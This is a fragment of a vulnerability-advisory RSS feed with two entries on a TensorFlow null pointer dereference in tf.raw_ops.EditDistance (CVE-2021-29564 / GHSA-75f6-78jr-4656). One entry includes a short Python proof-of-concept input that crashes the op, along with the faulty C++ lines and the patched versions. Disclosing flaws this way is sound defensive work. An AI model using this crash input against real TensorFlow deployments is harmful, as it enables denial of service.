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    <item>
      <title>CVE-2021-29564 — Null pointer dereference in `EditDistance`</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2021-29564</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; tensorflow&lt;/p&gt;
&lt;p&gt;TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/79865b542f9ffdc9caeb255631f7c56f1d4b6517/tensorflow/core/kernels/edit_distance_op.cc#L103-L159) has incomplete validation of the input parameters. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; tensorflow&lt;/p&gt;
&lt;p&gt;TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/79865b542f9ffdc9caeb255631f7c56f1d4b6517/tensorflow/core/kernels/edit_distance_op.cc#L103-L159) has incomplete validation of the input parameters. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2021-29564</guid>
    </item>
    <item>
      <title>GHSA-75f6-78jr-4656 — Null pointer dereference in `EditDistance`</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-75f6-78jr-4656</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu&lt;/p&gt;
&lt;p&gt;### Impact
An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`: 
    
```python
import tensorflow as tf&lt;/p&gt;
&lt;p&gt;hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)
hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)
hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
truth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)
truth_values = tf.constant([], shape=[0], dtype=tf.float32)
truth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)&lt;/p&gt;
&lt;p&gt;tf.raw_ops.EditDistance(
    hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,
    hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,
    truth_values=truth_values, truth_shape=truth_shape, normalize=True)
```&lt;/p&gt;
&lt;p&gt;This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/79865b542f9ffdc9caeb255631f7c56f1d4b6517/tensorflow/core/kernels/edit_distance_op.cc#L103-L159) has incomplete validation of the input parameters.&lt;/p&gt;
&lt;p&gt;In the above scenario, an attacker causes an allocation of an empty tensor for the output:&lt;/p&gt;
&lt;p&gt;```cc
OP_REQUIRES_OK(ctx, ctx-&amp;gt;allocate_output(&amp;#34;output&amp;#34;, output_shape, &amp;amp;output));
auto output_t = output-&amp;gt;flat&amp;lt;float&amp;gt;();
output_t.setZero();
```&lt;/p&gt;
&lt;p&gt;Because `output_shape` has 0 elements, the result of `output-&amp;gt;flat&amp;lt;T&amp;gt;()` has an empty buffer, so calling `setZero` would result in a null dereference.&lt;/p&gt;
&lt;p&gt;### Patches
We have patched the issue in GitHub commit [f4c364a5d…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu&lt;/p&gt;
&lt;p&gt;### Impact
An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`: 
    
```python
import tensorflow as tf&lt;/p&gt;
&lt;p&gt;hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)
hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)
hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
truth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)
truth_values = tf.constant([], shape=[0], dtype=tf.float32)
truth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)&lt;/p&gt;
&lt;p&gt;tf.raw_ops.EditDistance(
    hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,
    hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,
    truth_values=truth_values, truth_shape=truth_shape, normalize=True)
```&lt;/p&gt;
&lt;p&gt;This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/79865b542f9ffdc9caeb255631f7c56f1d4b6517/tensorflow/core/kernels/edit_distance_op.cc#L103-L159) has incomplete validation of the input parameters.&lt;/p&gt;
&lt;p&gt;In the above scenario, an attacker causes an allocation of an empty tensor for the output:&lt;/p&gt;
&lt;p&gt;```cc
OP_REQUIRES_OK(ctx, ctx-&amp;gt;allocate_output(&amp;#34;output&amp;#34;, output_shape, &amp;amp;output));
auto output_t = output-&amp;gt;flat&amp;lt;float&amp;gt;();
output_t.setZero();
```&lt;/p&gt;
&lt;p&gt;Because `output_shape` has 0 elements, the result of `output-&amp;gt;flat&amp;lt;T&amp;gt;()` has an empty buffer, so calling `setZero` would result in a null dereference.&lt;/p&gt;
&lt;p&gt;### Patches
We have patched the issue in GitHub commit [f4c364a5d…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-75f6-78jr-4656</guid>
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